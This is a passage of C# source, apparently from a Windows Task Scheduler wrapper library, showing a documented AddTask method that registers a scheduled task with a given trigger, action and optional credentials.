        /// <param name="trigger">The <see cref="Trigger"/> to determine when to run the task.</param>
        /// <param name="action">The <see cref="Action"/> to determine what happens when the task is triggered.</param>
        /// <param name="UserId">The user credentials used to register the task.</param>
        /// <param name="Password">The password for the userId used to register the task.</param>
        /// <param name="LogonType">A <see cref="TaskLogonType"/> value that defines what logon technique is used to run the registered task.</param>
        /// <returns>
        /// A <see cref="Task"/> instance of the registered task.
        /// </returns>
        public Task AddTask(string path, Trigger trigger, Action action, string UserId = null, string Password = null, TaskLogonType LogonType = TaskLogonType.InteractiveToken)
        {
            TaskDefinition td = NewTask();

            // Create a trigger that will fire the task at a specific date and time
            td.Triggers.Add(trigger);

            // Create an action that will launch Notepad whenever the trigger fires
            td.Actions.Add(action);

            // Register the task in the root folder
            return RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, UserId, Password, LogonType);
        }